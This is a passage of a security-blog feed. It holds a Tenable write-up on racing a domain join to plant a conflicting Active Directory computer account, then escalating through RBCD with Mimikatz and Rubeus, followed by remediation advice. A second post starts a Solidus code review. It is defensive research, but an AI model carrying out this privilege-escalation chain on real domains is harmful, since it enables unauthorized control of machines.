href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/56da5a9b-485d-4d7c-a226-1a54a43d9013">distinguishedName</a>: <em>”The distinguished name is a string that includes the location of the object and is formed by concatenating the relative distinguished name of the object and each of its ancestors all the way to root.”</em> More details <a href="https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ldap/distinguished-names">here</a>.</li><li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/937eb5c6-f6b3-4652-a276-5d6bb8979658">objectGUID</a>: <em>“This attribute specifies the unique identifier for an object.”</em></li></ul><p>Although it cannot be read directly on the object as an attribute, Microsoft <a href="https://learn.microsoft.com/en-us/windows/win32/ad/object-names-and-identities#relative-distinguished-name">defines</a> the RDN as:</p><blockquote>The relative distinguished name is the name defined by an object’s naming attribute […]. Most object classes use the cn (Common-Name) attribute as the naming attribute. An object’s relative distinguished name must be unique in the container where the object resides. There can be many object instances with the same relative distinguished name, but no two can be in same container.</blockquote><p>You may be surprised not to see other attributes🤔. Microsoft <a href="https://learn.microsoft.com/en-us/windows/win32/ad/object-names-and-identities#other-identities">indicates</a> that:</p><blockquote>[…] other attributes can be used for identification by applications such as <strong>userPrincipalName</strong>, <strong>sAMAccountName</strong>, and <strong>objectSid </strong>attributes. These attributes are very important “names” for Windows 2000, but these are not part of the object identity from the directory’s perspective.</blockquote><p>But if we refer to another Microsoft page about the <a href="https://learn.microsoft.com/en-us/windows/win32/ad/naming-properties">user naming attributes</a>, it indicates that the value of the 3 aforementioned attributes is unique in a domain🤨. This is not what we’ve read just before!</p><p>Let’s define them too:</p><ul><li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/afac8414-c614-4c6a-b316-41f5978308bd">objectSID</a>: <em>“This attribute specifies a binary value that specifies the security identifier (SID) of a security principal object.”</em></li><li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/56d7e9e4-1505-4d9a-b968-3bf0d6b92809">sAMAccountName</a>: <em>“This attribute specifies the logon name used to support clients and servers running LAN manager and older versions of the operating system […]. This attribute has to be less than 20 characters to support older clients and must be unique among all security principal objects within the domain.”</em></li><li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/1f730d08-4f9a-44fc-b638-a5d4a7f19bc3">userPrincipalName</a>: <em>“This attribute specifies the user principal name (UPN) that is an Internet-style logon name for a user […]. The UPN is shorter than the distinguished name and easier to remember. By convention, the UPN maps to the user email name.”</em></li></ul><p>We can use the following table to summarize what we’ve just read:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*ToVAqcO8gphSmz9iIbl4Ng.png" /></figure><h3>Creating conflicting objects</h3><p>First, let me clarify that this kind of object should be rare in a normal production AD. When adding a new object that conflicts with an existing object, the system should block its creation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*zqfYaIZft-bpJuBzmvSqSA.png" /></figure><p>There are at least 3 different methods to create conflicting objects nonetheless:</p><ol><li>Create the same object on multiple domain controllers at the same time. Caution: you need to be fast to add them before the replication occurs (<a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/modify-default-intra-site-dc-replication-interval">by default, the intra-site replication interval is 15 seconds</a> but the real interval to create conflicting objects is shorter, only 1 or 2 seconds).</li><li>(💡it could work) Isolate domain controllers from the network before creating the objects. Once created, reconnect the network.</li><li>(💡it could work) Using the <a href="https://blog.joeware.net/2012/01/04/2357/#:~:text=Creating%20objects%20with%20duplicate%20sAMAccountName%20attributes%20method%202%20%E2%80%93%20tombstone%20reanimation">tombstone reanimation</a>.</li></ol><p>We only used the first method.</p><h3>Basis of CNF objects</h3><p>Based on the definitions and especially the RDN, we understand that from the Active Directory perspective, the location of the objects matters and the conflict will not be processed the same way if 2 objects added at the same time are located in the same container or not.</p><p>➡️As noted in the definitions, we will focus our research on the security principals, which are LDAP objects. SYSVOL objects and other LDAP objects are out of scope.</p><h4>Case 1: within the same container</h4><p>Because the two objects will be located in the same container, there will be a conflict on the DN. The AD identifies and immediately resolves this conflict. One of the objects is renamed: its new RDN will be &lt;Old RDN&gt;\0ACNF:&lt;objectGUID&gt;.</p><p>➡️This action is called “mangling the RDN” in certain documents.</p><p>For example, let’s assume that the user “CN=John Doe” is created in the organizational unit “OU=Office” in the “Example.com” domain on two distinct domain controllers around the same time. After replication, the two objects will look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*ZO104UteQuVPwz-_ZpAAqA.png" /></figure><p>The Microsoft <a href="https://learn.microsoft.com/en-us/archive/technet-wiki/15435.active-directory-duplicate-object-name-resolution">Active Directory: Duplicate Object Name Resolution page</a> describes this process well:</p><blockquote>The<strong> sAMAccountName values are still the same</strong>, but one of the objects is renamed. The special character “\0A” is a line feed character (the backslash escape character followed by the 2 character hexadecimal representation of the line feed character). Of course, the two objects have different values for objectGUID and objectSID.<br>[…]<br>When a domain controller recognizes the conflict, it decides which object to rename based on the following:</blockquote><blockquote>1. If the version numbers of the two objects are different, the object with the lowest version number is renamed.<br>2. If the object version numbers are the same, the object with the oldest timestamp is renamed.<br>3. If the timestamps are the same, the object with the lower GUID is renamed.</blockquote><p>The important points are:</p><ul><li>One of the two objects is renamed.</li><li>But the <em>sAMAccountName</em> attribute is not modified and values are the same.</li></ul><p>So it is possible to find <strong>two objects with the same <em>sAMAccountName</em> value in the same AD domain 💥</strong>. This was unexpected and very interesting🫠!</p><h4>Case 2: in distinct containers</h4><p>Let’s continue our example with John Doe. Considering the second object was added into a different organizational unit or container, what’s going to happen? They both give the same results: it will be fine from DN/RDN perspective, and for the <em>sAMAccountName</em> they will be the same (similar to case 1). The mechanism that identified the RDN issue and acted immediately does not check the <em>sAMAccountName</em>.</p><p>That means those two objects will exist in the AD, without the “CNF” tag and they will have the same <em>sAMAccountName</em> value😯! So not all conflicting objects can be identified with “CNF” in the DN.</p><p>For instance, the following situation can exist:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*Ev-ZTf0MqnX-PuJkshUS4g.png" /></figure><h4>When same sAMAccountName values are renamed?</h4><p>You may wonder: what happens next to the <em>sAMAccountName</em> duplicated values? Are they here to stay forever? In a Microsoft blog it is <a href="https://learn.microsoft.com/en-us/archive/technet-wiki/15435.active-directory-duplicate-object-name-resolution#when-a-duplicate-samaccountname-in-domain-is-detected">mentioned</a>:</p><blockquote>Security Accounts Manager (SAM) service checks periodically for duplicate sAMAccountName values. […] When the process detects duplicate sAMAccountName values, one of the values is changed to the string “$DUPLICATE-xxx”, where xxx is the RID of the object in hexadecimal.</blockquote><p>But it never did it periodically in our lab🤔. The only actions that triggered this renaming were those mentioned in the great <a href="https://blog.joeware.net/2012/01/04/2357/">blog post (sAMAccountName is always unique in a Windows domain… or is it? — by Joe Richards)</a>:</p><ul><li>When trying to authenticate as the user using the <em>sAMAccountName</em> (using the UPN will have no effect) and the correct password, one account will keep the original value and the others will be renamed.</li><li>If we use a wrong password, then <strong>all objects</strong> having a <em>sAMAccountName</em> equals to the one we used will be impacted by the renaming.</li><li>The same behavior can be observed if, later (after the replication propagates it), we try to create again an account that has been duplicated before.</li></ul><p>The important points are:</p><ul><li><em>sAMAccountName</em> renaming is done following a manual action and may occur automatically after a long period of time. Once again, not seen in our test environment but mentioned in a Microsoft <a href="https://learn.microsoft.com/en-us/archive/technet-wiki/15435.active-directory-duplicate-object-name-resolution#when-a-duplicate-samaccountname-in-domain-is-detected">blog</a>.</li><li>We might think that as soon as the system identifies conflicting objects, for instance when the DN is renamed with “CNF”, the <em>sAMAccountName</em> would also be updated. But that is not the case.</li><li>Not all conflicting objects can be identified with “CNF” in the DN if we include objects having a duplicated <em>sAMAccountName</em> or the value $DUPLICATE-xxx, where xxx is the RID of the object in hexadecimal.</li></ul><p>So until here nothing new, but it’s important to have this refreshment before the next part.</p><h3>Attack scenario</h3><p>The attack that we want to test is: what happens if a real computer is added to the domain, and if, at the same time, an attacker with a standard account detects it (step 1🕵️‍♂️) and adds the same machine account by targeting another domain controller (step 2📨). Can the attacker control the real machine (step 3🥷) and elevate their privileges thanks to this conflict?</p><h4>Lab architecture</h4><p>The minimum requirements for this scenario are:</p><ul><li>2 domain controllers, to make the conflict possible:<br>- <strong>DC-999</strong>, having the PDC emulator role.<br>- <strong>DC-1001</strong>, targeted by the attacker.</li><li>(optional, but useful for this scenario) 1 member machine, compromised and used by the attacker:<br>- <strong>WIN10–01</strong>, sometimes named AttackMachine in the blog. The attacker has local administrative rights on this machine.</li><li>1 standard Active Directory user account used by the attacker from WIN10–01.<br>- <strong>std-user-1</strong>.</li><li>1 new machine that is joining the domain<br>- <strong>NEWMACHINE</strong></li></ul><p>The lab architecture and flow of the attack can be illustrated with the following schema:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NlyeqSVZd4CuHrnln0sZ_Q.png" /></figure><p>Here are the 4 machines just before the scenario:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P7IlQYQZRDq0XRYXLVq1tg.png" /></figure><h4>🕵️‍♂️Step 1 — Detect the addition of a new computer</h4><p>To react as soon as possible, the attacker used the same method described for the <a href="https://github.com/tenable/UncoverDCShadow">UncoverDCShadow</a> tool: the LDAP server control <a href="https://msdn.microsoft.com/en-us/library/cc223320.aspx">LDAP_SERVER_NOTIFICATION_OID (1.2.840.113556.1.4.528)</a> to receive in real-time the notification about any newly created computer. The privileges of a standard AD account are “high” enough to subscribe. They can get more information if they wanted to, but here the need is only about the notification of the creation. They can subscribe to any domain controller they want. Normally, if you want to monitor an AD domain for legitimate purposes, and so by choosing only one domain controller, it’s a good habit to select the one holding the PDC emulator role to have <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/fsmo-roles#pdc-emulator-fsmo-role">more information</a>. But to maximize their chances of catching the notification very quickly, whatever the domain controller where the join occurs, it’s better for the attacker to subscribe to all domain controllers.</p><p>📝<strong>Note</strong>: The Lab schema that was presented before only details the attacker flow. In this schema, the attacker subscribes only to the PDC from the AttackMachine.</p><p>Also, we assume that other methods might be used by the attacker to detect a new computer. For example, an aggressive loop with Get-ADComputer doing the request every second could work under some circumstances.</p><p>As soon as the addition of the machine is detected on the domain controller they’ve subscribed to, the next step is to immediately create on a different domain controller a computer account having the same <em>sAMAccountName</em>. In this scenario, the attacker wants to create the maximum confusion for the administrator, and ideally replace the original account. So they will choose the Case 1 described in the first part of the blog: the fake object will be created in the same container.</p><h4>📨Step 2 — Add the fake conflicting computer</h4><p>To add the fake computer, the attacker still wants to do it with its standard account used before, and considering the <a href="https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota"><em>ms-DS-MachineAccountQuota</em></a> attribute still has its default value allowing any user to add up to 10 machine accounts in a domain.</p><p>🤓The MachineAccountQuota topic has already been explored in other blog posts, and as suggested in <a href="https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota">this one</a>, the attacker used the <a href="https://github.com/Kevin-Robertson/Powermad">Powermad</a> tool to create the fake machine account.</p><p>➡️I’ve also learned a lot about pre-created computer accounts thanks to the <a href="https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts">Diving into Pre-Created Computer Accounts blog by Oddvar Moe</a> and I recommend it.</p><p>Actions described in Step 1 and Step 2 can be scripted (cf. <a href="https://github.com/tenable/CnfForTheWin">GitHub</a>). The attacker can run it on the AttackMachine (<strong>WIN10–01</strong>) with a standard account. It will subscribe to events from <strong>DC-999</strong> and target <strong>DC-1001</strong> to create the fake computer. Numbers in the list below can be associated with the numbers in the screenshots.</p><ol><li><strong>NewMachine</strong> computer is added to the “example.com” domain.</li><li>The script detects it with a notification coming from <strong>DC-999</strong>, and immediately tries to create the fake similar machine account on <strong>DC-1001</strong>. The fake machine account DN has not been renamed (i.e.; mangled) and looks like a normal account. Whereas the authentic machine account DN has been renamed. At this stage, both objects have the same <em>sAMAccountName</em> value, we need to wait for <strong>NewMachine</strong> to reboot.</li><li>During the reboot, <strong>NewMachine</strong> (highlighted in 🟩) will try to authenticate with its machine account to the domain. This is the moment when the <em>sAMAccountName</em> will be renamed. AD could decide here to select either the authentic or the fake account (highlighted in 🟧), the attacker needs a bit of luck🤞. We can see the <em>sAMAccountName</em> of the fake machine account has not been renamed and our fake object looks really like an authentic object so that’s a win 💪.</li><li>The reboot is complete and a prompt for login is displayed.</li><li>As expected when creating a machine account through the MachineAccountQuota, the <em>mS-DS-CreatorSID</em> attribute (highlighted in 🟥) contains the <em>objectSid</em> of the account that created it, i.e. <strong>std-user-1</strong>.</li><li>Finally, we can confirm the <em>sAMAccountName</em> renaming has not impacted the fake machine account, but the authentic one.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C8apLA9U2b90mKiUhxGMiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*873889xGTt27jaqp04ezfQ.png" /></figure><p>📝<strong>Note</strong>: When trying to add the same machine account there are 3 possibilities:</p><ol><li>😢 It fails because the commands to add the fake account were not fast enough.</li><li>😞 It works, but the renamed account is the fake account we added. Not good, it’s better to have the other case.</li><li>😀 It works, and the renamed account is the original! This means that the fake account looks like the real machine account.</li></ol><p>In our tests, the first was rare but the second and the third were 50–50🎲.</p><p>As mentioned in Step 1, the chances can be increased by subscribing to multiple domain controllers. But this is not over yet! Even if the first challenge is passed, the next one is as important: the <em>sAMAccountName</em> renaming. Here also some luck is required to have the good case, 50–50 chance once again 🎲.</p><p>Let’s go back to our scenario: what happens if a user tries to authenticate from the <strong>NewMachine</strong>?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aNb9UQqofnUfbfTxAhRsgw.png" /></figure><p>This is the first issue the user can see when typing the correct password:</p><blockquote>The security database on the server does not have a computer account for this workstation trust relationship.</blockquote><p>❌At this time, the machine is unusable with domain accounts and so the attacker has caused a partial Denial-of-Service (DoS) on the new machine. However, if a wrong password is typed, then the error will be different:</p><blockquote>The user name or the password is incorrect. Try again.</blockquote><p>This means that, contrary to the previous error, the account is found. So what does this error mean 🤔?</p><p>Thanks to Wireshark, we can deep dive into the discussion between <strong>NewMachine</strong> (192.168.109.70) and the domain controllers (here only <strong>DC-99</strong>, so 192.168.109.69).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YSmS9Ht1K8ZAQK8AhThgWQ.png" /></figure><p>We can see a Kerberos error “<strong>KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN</strong>” for “newmachine.example.com”.</p><p>Let’s compare the two objects side by side:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yv1sRQFIZAM-jKIhGtt_aA.png" /></figure><p>Even with those differences, we can identify the following attributes, which should be unique but are duplicated. This is the root cause of the Kerberos error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*7M2QBkQZEEd60Q-IkUgkmg.png" /></figure><p>In this scenario where the renamed DN having “CNF” is the authentic account, it is more than likely that the administrator will delete the <strong>authentic</strong> computer account. Let’s remove it and try again to authenticate from <strong>NewMachine</strong>. Is it better on the login screen?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5fADTS2zbvTXp4M1gNvdwA.png" /></figure><p>❌There is still an issue, but we cannot see a Kerberos error in Wireshark this time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2E3_1j6wV6tUQckMkO062Q.png" /></figure><p>Deleting the CNF object was quite logical for the administrator. However, at this stage there are two possibilities:</p><ul><li>The administrator will delete the other object, remove the machine, and try again from scratch.</li><li>Or the administrator is stubborn, or this is not the first time the issue occurs and is determined to make it work! <strong>We like this spirit and will continue with this case</strong>😊.</li></ul><p>After typing this error “<em>The security database on the server does not have a computer account for this workstation trust relationship.</em>” or even the previous one in various search engines on the Internet, a lot of results encourage us to reset the machine account password. To do that, first we need to log in the machine with a local account, and then open a privileged console/PowerShell. The command to type is:</p><pre>netdom resetpwd /server:&lt;DNS hostname of a DC&gt; /userd:&lt;Domain Admin user&gt; /passwordd:&#39;&lt;Domain Admin password&gt;&#39;</pre><p>📝<strong>Note</strong>: Other commands such as Test-ComputerSecureChannel -Repair -Credential (Get-Credential), can be found in the Internet but the result will be the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vAHcrQGFFvShRuEvJDAwtQ.png" /></figure><p>➡️Because of that requirement, this cannot be used when a new DC is added. The creation of the conflicting object even in the Domain Controllers OU will work (and the DoS). But this command fails when trying to execute it with the DSRM account. The situation can be resolved as soon as the fake account is deleted, and if the remaining account has a coherent <em>sAMAccountName</em> value.</p><p>Let’s retry to authenticate from <strong>NewMachine</strong> with a domain user account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X4I3nrNrMcxr9ZSlyPHeRQ.png" /></figure><p>✅Finally, it worked! We have successfully authenticated on <strong>NewMachine </strong>with a domain user account, but remember: the machine account in the Active Directory is the fake one created by the attacker with <strong>EXAMPLE\std-user-1</strong>. This means that the attacker using this account has more privileges on <strong>NewMachine</strong> than they have on other machines. Let’s check that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cHZic3S5zIjV94uAxYk_Bw.png" /></figure><p>As expected, <strong>EXAMPLE\std-user-1</strong> (the attacker) has more privileges on the newly joined machine because they created the machine account. Nevertheless, the owner of the machine account is EXAMPLE\Domain Admins.</p><p>😎There are interesting attributes and property sets that can be used for many purposes, such as <a href="https://medium.com/tenable-techblog/how-to-mimic-kerberos-protocol-transition-using-reflective-rbcd-a4984bb7c4cb">abusing the Resource-Based Constrained Delegation (RBCD)</a>, and so, the attribute <em>msDS-AllowedToActOnBehalfOfOtherIdentity</em>! We can now refer to this <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html">article (Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory — by E.Shamir)</a> and see that, combined with S4U we can obtain a privileged session on the targeted machine.</p><p>So, with the method described in it, <strong>the attacker has enough rights to impersonate a privileged user on the target machine (NewMachine)</strong>💣.</p><h4>🥷Step 3 — Take control of the real machine</h4><p>First, the two computer objects do not have the property <em>PrincipalsAllowedToDelegateToAccount</em>. When the attacker tries to add a value on the computer where they are logged (<strong>WIN10–01</strong>), they can’t because of insufficient access rights. However, because they have more rights than usual on the <strong>NewMachine</strong> machine account, they can change this property without any issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzbZra2C9ih_0y2Tw83TpA.png" /></figure><p>The next steps will be straightforward, they can get the hash of the machine account with Mimikatz thanks to the local administrative rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9670zbmEUaHN8gVc2dqKGQ.png" /></figure><p>And use them with Rubeus to request TGT and TGS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LGl1_AOp8B-y1IjBvnPgEA.png" /></figure><p>The attacker can access files of <strong>NewMachine</strong> in the PowerShell window where the session has been previously opened, thanks to the forged ticket. In the other PowerShell windows on the right, the same command fails as a local administrator or as a standard user because by default (and without the forged ticket😈) the access to this machine is not allowed💥.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bw8cZ0gIQpz5IyioCbfk0A.png" /></figure><h3>Recommendations</h3><p>🚩The easiest way to prevent this (and other attacks!) is to authorize only administrators to add computers to the Active Directory domain. In our scenario, the attacker would have been blocked very early if the <em>ms-DS-MachineAccountQuota</em> attribute was well set. Privileged users are not subject to the maximum quota of the domain, it is unnecessary to set a value higher than 0 for that attribute. To remove the permission on regular users set the value to 0 using the following PowerShell command:</p><p>Set-ADDomain (Get-ADDomain).distinguishedname -Replace @{&quot;ms-ds-MachineAccountQuota&quot;=&quot;0&quot;}</p><p>🧹Conflicting objects must be analyzed and cleaned. How did this conflict occur? What is the purpose of this object? Take the time to investigate the root cause. Perhaps it’s not due to malicious action, but replication issues. The safest way is to clean both objects and restart with a new object that has no conflict.</p><p>🛡️You can also look for evidence of this attack flow in the Windows Event logs or use solutions such as <a href="https://www.tenable.com/products/identity-exposure">Tenable Identity Exposure</a> which offers Indicators of Exposure that can help to identify the issue:</p><ul><li><a href="https://www.tenable.com/indicators/ioe/ad/C-USERS-CAN-JOIN-COMPUTERS">Users Allowed to Join Computers to the Domain</a></li><li><a href="https://www.tenable.com/indicators/ioe/ad/C-CONFLICTED-OBJECTS">Conflicting Security Principals</a></li><li><a href="https://www.tenable.com/indicators/ioe/ad/C-UNCONST-DELEG">Dangerous Kerberos Delegation</a></li></ul><h3>Conclusion</h3><p>There is no direct way to gain privileges on the targeted machine. However, an attacker can generate a DoS on a new machine joining the domain and expect the administrator to run the usual commands to fix the problem. This action will also allow an attacker to gain privileged rights via RBCD on the machine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=243ef6a27928" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/using-conflicting-objects-in-active-directory-to-gain-privileges-243ef6a27928">Using conflicting objects in Active Directory to gain privileges</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solidus — Code Review]]></title>
            <link>https://medium.com/tenable-techblog/solidus-code-review-7e9b606a5c10?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/7e9b606a5c10</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[tenable-research]]></category>
            <dc:creator><![CDATA[Joshua Martinelle]]></dc:creator>
            <pubDate>Mon, 10 Jun 2024 14:08:33 GMT</pubDate>
            <atom:updated>2024-06-10T14:08:33.230Z</atom:updated>
            <content:encoded><![CDATA[<h3>Solidus — Code Review</h3><p><a href="https://www.tenable.com/research">As a Research Engineer at Tenable</a>, we have several periods during the year to work on a subject of our choice, as long as it represents an interest for the team. For my part, I’ve chosen to carry out a code review on a Ruby on Rails project.</p><p>The main objective is to focus on reviewing code, understanding it and the various interactions between components.</p><p>I’ve chosen <a href="https://github.com/solidusio/solidus">Solidus</a> which is an open-source eCommerce framework for industry trailblazers. Originally the project was a fork of <a href="https://spreecommerce.org/">Spree</a>.</p><p>Developed with the <a href="https://rubyonrails.org/">Ruby on Rails framework</a>, Solidus consists of several gems. When you require the solidus gem in your Gemfile, Bundler will install all of the following gems:</p><ul><li><strong>solidus_api</strong> (RESTful API)</li><li><strong>solidus_backend</strong> (Admin area)</li><li><strong>solidus_core</strong> (Essential models, mailers, and classes)</li><li><strong>solidus_sample</strong> (Sample data)</li></ul><p>All of the gems are designed to work together to provide a fully functional ecommerce platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i8FqnnSpOhzb_ATo" /><figcaption><a href="https://www.tenable.com/research">https://www.tenable.com/research</a></figcaption></figure><h3>Project selection</h3><p>Solidus wasn’t my first choice, I originally wanted to select <a href="https://github.com/zammad/zammad">Zammad</a>, which is a web-based open source helpdesk/customer support system also developed with Ruby on Rails.</p><p>The project is quite popular and, after a quick look, has a good attack surface. This type of project is also interesting because for many businesses, the support/ticketing component is quite critical, identifying a vulnerability in a project such as Zammad almost guarantees having an interesting vulnerability !</p><p>For various reasons, whether it’s on my professional or personal laptop, I need to run the project in a Docker, something that’s pretty common today for a web project but :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ns5cuW1MTPzc8RuH" /></figure><p>Zammad is a project that requires many bricks such as Elasticsearch, Memcached, PostgresQL &amp; Redis and although the project provided a ready-to-use docker-compose, as soon as I wanted to use it in development mode, the project wouldn’t initialize properly.</p><p>Rather than waste too much time, I decided to put it aside for another time (for sure) and choose another project that seemed simpler to get started on.</p><p>After a tour of Github, I came across <a href="https://github.com/solidusio/solidus">Solidus</a>, which not only offers instructions for setting up a development environment in just a few lines, but also has a <a href="https://github.com/solidusio/solidus/security">few public vulnerabilities</a>.</p><p>For us, this is generally a good sign in terms of communication in case of a discovery. This shows that the publisher is open to exchange, which is unfortunately not always the case.</p><p><em>The reality is that I also had a few problems with the Solidus Dockerfile supplied, but by browsing the </em><a href="https://github.com/solidusio/solidus/issues/5523"><em>issues</em></a><em> and making some modifications on my own I was able to quickly launch the project.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fGZcRMCQZi1TRVev" /><figcaption><em>Project started with bin/dev cmd</em></figcaption></figure><h3>Ruby on Rails Architecture &amp; Attack Surface</h3><p>Like many web frameworks, Ruby on Rails uses an MVC architecture, although this is not the theme of this blog post, a little reminder doesn’t hurt to make sure you understand the rest:</p><ul><li><strong>Model</strong> contains the data and the logic around the data (validation, registration, etc.)</li><li><strong>View</strong> displays the result to the user</li><li>The <strong>Controller</strong> handles user actions and modifies model and view data. It acts as a link between the model and the view.</li></ul><p>Another important point about Ruby on Rails is that this Framework is “<em>Convention over Configuration</em>”, which means that many choices are made for you, and means that all environments used will have similarities, which makes it easier to understand a project from an attacker’s point of view if you know how the framework works.</p><p>In a Ruby on Rails project, application routing is managed directly by the ‘config/routes.rb’ file. All possible actions are defined in this file !</p><p>As explained in the overview chapter, Solidus is composed of a set of gems (Core, Backend &amp; API) designed to work together to provide a fully functional ecommerce platform.</p><p>These three components are independent of each other, so when we audit the Github Solidus/Solidus project, we’re actually auditing multiple projects with multiple distinct attack surfaces that are more or less interconnected.</p><p>Solidus has three main route files :</p><ul><li><strong>Admin</strong> Namespace <strong>SolidusAdmin::Engine</strong></li><li><strong>Backend</strong> Namespace <strong>Spree::Core::Engine</strong></li><li><strong>API </strong>Namespace <strong>Spree::Core::Engine</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G3CQJAokzidUG77X" /></figure><p>Two of the three files are in the same namespace, while Admin is more detached.</p><p>A namespace can be seen as a “group” that contains Classes, Constants or other Modules. This allows you to structure your project. Here, it’s important to understand that API and Backend are directly connected, but cannot interact directly with Admin.</p><p>If we take a closer look at the file, we can see that routes are defined in several ways. Without going into all the details and subtleties, you can either define your route directly, such as</p><pre>get &#39;/orders/mine&#39;, to: &#39;orders#mine&#39;, as: &#39;my_orders&#39;</pre><p>This means “The GET request on /orders/mine” will be sent to the “mine” method of the “Orders” controller (we don’t care about the “as: ‘my_orders” here).</p><pre>module Spree<br>  module Api<br>    class OrdersController &lt; Spree::Api::BaseController<br>      #[...]<br>      def mine<br>        if current_api_user<br>          @orders = current_api_user.orders.by_store(current_store).reverse_chronological.ransack(params[:q]).result<br>          @orders = paginate(@orders)<br>        else<br>          render &quot;spree/api/errors/unauthorized&quot;, status: :unauthorized<br>        end<br>      end<br>      #[...]</pre><p>Or via the CRUD system using something like :</p><pre>resources :customer_returns, except: :destroy</pre><p>For the explanations, I’ll go straight to what is <a href="https://guides.rubyonrails.org/routing.html#crud-verbs-and-actions">explained in the Ruby on Rails documentation</a> :</p><p><em>“In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to a specific CRUD operation in a database.”</em></p><p>So here, the :customer_returns resource will link to the CustomerReturns controller for the following URLs :</p><ul><li>GET /customer_returns</li><li>GET /customer_returns/new</li><li>POST /customer_returns</li><li>GET /customer_returns/:id</li><li>GET /customer_returns/:id/edit</li><li>PATCH/PUT /customer_returns/:id</li><li>̶D̶E̶L̶E̶T̶E̶ ̶/̶c̶u̶s̶t̶o̶m̶e̶r̶_̶r̶e̶t̶u̶r̶n̶s̶/̶:̶i̶d̶ is ignored because of “except: :destroy”</li></ul><p>So, with this, it’s easy to see that Solidus has a sizable attack surface.</p><h3>Static Code Analysis</h3><p>This project also gives me the opportunity to test various static code analysis tools. I don’t expect much from these tools but as I don’t use them regularly, this allows me to see what’s new and what’s been developing.</p><p>The advantage of having an open source project on Github is that many static analysis tools can be run through a Github Action, at least… in theory.</p><p>Not to mention all the tools tested, CodeQL is the only one that I was able to run “out of the box” via a Github Action, the results are then directly visible in the Security tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7WLG7fjAtZk4uoIo" /><figcaption><em>Extract of vulnerabilities identified by CodeQL</em></figcaption></figure><p>Processing the results from all the tools takes a lot of time, many of them are redundant and I have also observed that some paid tools are in fact just overlays of open source tools such as Semgrep (the results being exactly the same / the same phrases).</p><p>Special mention to <a href="https://brakemanscanner.org/">Brakeman</a>, which is a tool dedicated to the analysis of Ruby on Rails code, the tool allows you to quickly and simply have some interesting path to explore in a readable manner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*D6jojsGQAUQIE1qF" /><figcaption><em>Extract of vulnerabilities identified by Brakeman</em></figcaption></figure><p>Without going over all the discoveries that I have put aside (paths to explore). Some vulnerabilities are quick to rule out. Take for example the discovery “Polynomial regular expression used on uncontrolled data” from CodeQL :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i6TO2ZMDY0xZkpg9" /></figure><p>In addition to seeming not exploitable to me, this case is not very interesting because it affects the admin area and therefore requires elevated privileges to be exploited.</p><p>Now with this “SQL Injection” example from Brakeman :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JNF6ZwqMqCY-5bPt" /></figure><p>As the analysis lacks context, it does not know that in reality “price_table_name” does not correspond to a user input but to the call of a method which returns the name of a table (which is therefore not controllable by a user).</p><p>However, these tools remain interesting because they can give a quick overview of areas to dig.</p><h3>Identifying a Solidus Website</h3><p>Before getting into the 